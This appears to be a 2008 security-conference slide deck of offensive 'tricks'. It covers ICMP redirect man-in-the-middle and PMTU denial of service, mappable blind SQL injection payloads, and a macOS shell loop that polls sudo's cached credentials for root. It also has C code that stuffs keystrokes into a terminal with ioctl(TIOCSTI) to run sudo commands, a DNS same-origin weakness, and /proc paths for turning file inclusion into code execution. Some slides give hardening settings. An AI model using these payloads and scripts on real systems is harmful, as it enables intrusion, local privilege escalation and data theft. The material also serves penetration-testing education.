

# Tricks: makes you smile

A clever or ingenious device or expedient; adroit technique: the tricks of the trade.

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# Tricks: makes you smile

A collection of engaging techniques, some unreleased and some perhaps forgotten, to make pentesting fun again. From layer 3 attacks that still work, to user interaction based exploits that aren't 'clickjacking', to local root privilege escalation without exploits and uncommon web application exploitation techniques.

# Netphun: ICMP redirect (l3attacks that works)

An ICMP redirect is a router's way of communicating that **there is a better path** out of this network or into another one than the one the host had chosen.


```
# echo test | nc 192.168.98.82 22
# tcpdump -nneqti eth0
C G1 192.168.99.35.54510 > 192.168.98.82.22: tcp 0 (DF)

G1 C 192.168.99.254 > 192.168.99.35: icmp: redirect
192.168.98.82 to host 192.168.99.1 [tos 0xc0]

C G2 192.168.99.35.54510 > 192.168.98.82.22: tcp 0 (DF)
```

# Netphun: ICMP redirect (l3attacks that works)

RFC 792: “Out of band” ICMP Redirect Message:



# Netphun: ICMP redirect (l3attacks that works)

0-7 → Type 5  
8-15 → Code

- 0 → Redirect for Network
- 1 → Redirect for Host
- 2 → Redirect for Type of Service and Network
- 3 → Redirect for Type of Service and Host

16-31 → Header Checksum  
32 -61 → Gateway IP  
96-127 → **IP Header + 8Byte Original Datagram**

[http://en.wikipedia.org/wiki/ICMP\\_Redirect\\_Message](http://en.wikipedia.org/wiki/ICMP_Redirect_Message)  
<http://tools.ietf.org/html/rfc792> page 12  
<http://tools.ietf.org/html/rfc1122>

# Netphun: ICMP redirect (I3attacks that works)

- (Low cost, layer 3) DoS and **MITM**.

<http://insecure.org/sploits/arp.games.html> 1997

- **Secure redirects** → only accept ICMP redirects for gateways listed in the default gateway list.

<http://www.security.iitk.ac.in/contents/workshops/iithack04/keynotes/ppt06.ppt>

<http://alor.antifork.org/talks/MITM-attacks.ppt> (2002 VS 2004, LOL!)

- “Old” OS = no secure\_redirects at all.

- Not showed in some userspace tools (**route -n**).
- Routing cache (ip route/ip route get 123/ip route flush cache).

# Netphun: ICMP redirect (l3attacks that works)

Tools:

- hping3

## ICMP

- C --icmptype icmp type (default echo request)
- K --icmpcode icmp code (default 0)
- force-icmp send all icmp types
- icmp-gw set gateway address for ICMP redirect

## Common

- d --data data size (default is 0)
- E --file data from file

- scapy

- irpas <http://www.phenoelit-us.org/irpas/>
- icmp\_redir.c [http://www.uinc.ru/articles/21/icmp\\_redir.c](http://www.uinc.ru/articles/21/icmp_redir.c)
- netwag <http://www.laurentconstantin.com/en/netw/netwag/>

# Netphun: ICMP redirect (l3attacks that works)

Remediation plan:

- Firewalling.

- Network stack tuning.

```
/proc/sys/net/ipv4/conf/all/accept_redirects
/proc/sys/net/ipv4/conf/all/secure_redirects
/proc/sys/net/ipv4/conf/all/send_redirects
/proc/sys/net/ipv4/conf/default/accept_redirects
/proc/sys/net/ipv4/conf/default/secure_redirects
/proc/sys/net/ipv4/conf/default/send_redirects
```

```
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 1
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.secure_redirects = 1
net.ipv4.conf.default.send_redirects = 0
```

# Netphun: ICMP redirect (l3attacks that works)

Remediation 2: Switch to IBM AS/400 (-;

For curious people:

**net/ipv4/icmp.c** → static void icmp\_redirect()  
static const struct icmp\_control icmp\_pointers[NR\_ICMP\_TYPES + 1]

# Netfun: ICMP PMTU DoS (l3attacks that works)

Max MTU of the “Path” (route) is dynamically calculated by error ICMP packets.

- 64 bytes packets?
- Solaris min. MTU = 512 → antirez lkm.  
<http://archives.neohapsis.com/archives/bugtraq/2001-01/0231.html>
- /proc/sys/net/ipv4/ip\_no\_pmtu\_disc ... really?

# Blind SQLi: Mappable method cause blind hurts too

```
`news` table      id|real_id|data
                1 |348     |Bomb news
                3 |349     |Sex news
                7 |391     |Antrax news
```

```
`users` table    id|username|password
                  1 |Admin    |h£((B0y
```

```
news.jsp?reference=123 <-- SQLi
news.jsp?reference=' AND 1=0 OR 1=1 <-- first news
news.jsp?reference=' AND 1=0 OR 1=0 <-- news not found
```

```
news.jsp?reference=' AND 1=0 OR
case(first_char((select password from `users`)))
when(1)then(1)when(2)then(3)when(3)then(7)
```

IT'S MAGIC!!!

# Blind SQLi: Mappable method CHARMAP tool

**CHARMAP** is a tool developed with the aim to implement data fetching using the technique exposed by **Wisec, Mappable Blind SQL Injections**, in a generic way.

<http://www.ush.it/team/ascii/hack-charmap/>  
[http://www.ush.it/team/ascii/hack-charmap/charmap\\_0.1.tar.gz](http://www.ush.it/team/ascii/hack-charmap/charmap_0.1.tar.gz)

→ WTFPL v2 ←

# Blind SQLi: Mappable method CHARMAP demo

DEMO TIME

# User interaction madness: macos/sudo local kit

Default sudo setup = backdoor:

- 5 minute password caching.
- global session (not tied to a tty).
- sudo logs to `/var/log/system.log` (weak perms).

# User interaction madness: macos/sudo local kit

```
while [ 1 ]; do if [ "`(echo a | sudo  
-S id)2>&1 | grep '^uid=0' | wc  
-l`" == "1" ]; then echo ROOT; fi;  
sleep 5; done
```

```
nc -l -p 7053  
xterm -e 'echo "Hello moron." && nc  
localhost 7053 -vvv'
```

# User interaction madness: macos/sudo local kit

Remediation plan:

Defaults:ALL !syslog

Defaults:ALL logfile=/var/log/secure.log

Defaults:ALL timestamp\_timeout=0

Defaults:ALL tty\_tickets

# User interaction madness: su/sudo arbitrary char injection

ioctl(TIOCSTI)

```
char* payload = "id\nsudo -u root touch  
/root/ciao123\necho 'hello'";  
[...]  
if ((pid = fork()) == 0) {  
[...]  
    sleep (1);  
    /* Keep stuffing characters into the keyboard  
buffer... */  
    for (i=0; (c = payload[i]) != '\0'; i++) {  
        if (ioctl (0, TIOCSTI, &c) == -1) {  
            perror ("ioctl() failed");  
            return 1;  
        }  
    }  
}
```

# User interaction madness: su/sudo arbitrary char injection

Can't be fixed as it's a feature:

- <http://lists.virus.org/debian-security-0407/msg00214.html>
- <http://www.redhat.com/archives/fedora-devel-list/2004-July/msg01314.html>
- <http://lists.virus.org/debian-security-0407/threads.html#00160>

Summarizing:

- open fd 0 = other “context” (-;
- init scripts (non-interactive, fixable and **fixed**).
- sudo insecure defaults lead to local root.

# User interaction madness: su/sudo arbitrary char injection

DEMO TIME

# User interaction madness: what you see is not what you copy

Works in every `rich` browser tested  
(FF, Opera, Safari, IE).

The clipboard is your enemy!

FUCK RICH TEXT, GO GO ASCII

# User interaction madness: what you see is not what you copy

DEMO TIME

# Web disservices: lazy admin cripples same origin policy

local.zzz.com same origin biohazard:

```
for NS in `dig +noall +answer NS tin.it | sed "s/\t/ /g;s/  
*/ /g" | cut -d " " -f5`; do dig tin.it @$NS; done
```

# Web disservices: lazy admin cripples same origin policy

```
# dig localhost.tin.it

; <>> DiG 9.4.2 <>> localhost.tin.it
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 30807
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;localhost.tin.it.      IN      A

;; ANSWER SECTION:
localhost.tin.it.    251      IN      A      127.0.0.1

;; AUTHORITY SECTION:
tin.it.            1516      IN      NS      dnsca.tin.it.
tin.it.            1516      IN      NS      dns.tin.it.

;; ADDITIONAL SECTION:
dnsca.tin.it.     3505      IN      A      195.31.190.31
dns.tin.it.        3415      IN      A      194.243.154.62

;; Query time: 99 msec
;; SERVER: 192.168.0.1#53(192.168.0.1)
;; WHEN: Sun Jun 29 19:16:54 2008
;; MSG SIZE  rcvd: 136
```

# Web disservices: lfi2rce the hax0r way

```
std logfile /var/log/vsftpd.log  
session file /tmp/sess_1234  
apache /proc/123/fd/123  
apache /proc/self/fd/123  
apache /proc/self/environ
```

<http://www.ush.it/2008/08/18/lfi2rce-local-file-inclusion-to-remote-code-execution-advanced-exploitation-proc-shortcuts/>

# Thanks

> ush.it <

teammates! s4tan, saidone, ..

friends! kuza55, wisec, ..

yrbas <3